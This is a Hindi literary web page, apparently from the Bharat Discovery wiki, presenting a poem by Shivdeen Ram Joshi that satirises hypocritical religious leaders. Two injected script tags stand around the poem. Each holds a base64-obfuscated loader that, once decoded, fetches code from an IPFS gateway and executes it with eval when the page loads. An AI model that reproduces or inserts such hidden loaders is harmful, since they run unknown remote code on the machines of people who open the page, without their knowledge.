एक्स्प्रेशन त्रुटि: अनपेक्षित उद्गार चिन्ह "२"।

झूंठ की जमात जुरी -शिवदीन राम जोशी

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

झूंठ की जमात जुरी पाप अधिकारी जहाँ,
               महन्त है पाखंड चन्द टोली घुरावे हैं।
कपट की विभूति लोगन को बांटि-बांटि,
                अकड़-अकड़ बैठे चतुर सभा में कहावें हैं।
क्रोधिन की कमाना को सफल करत व्यभिचारी,
                 असंगत उटपटांग काम अपना बनावे हैं।
कहता शिवदीन कलिकाल में प्रपंच फैल्यो,
             ऐसे जो असंत महन्त मोजां उड़ावें हैं।

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

संबंधित लेख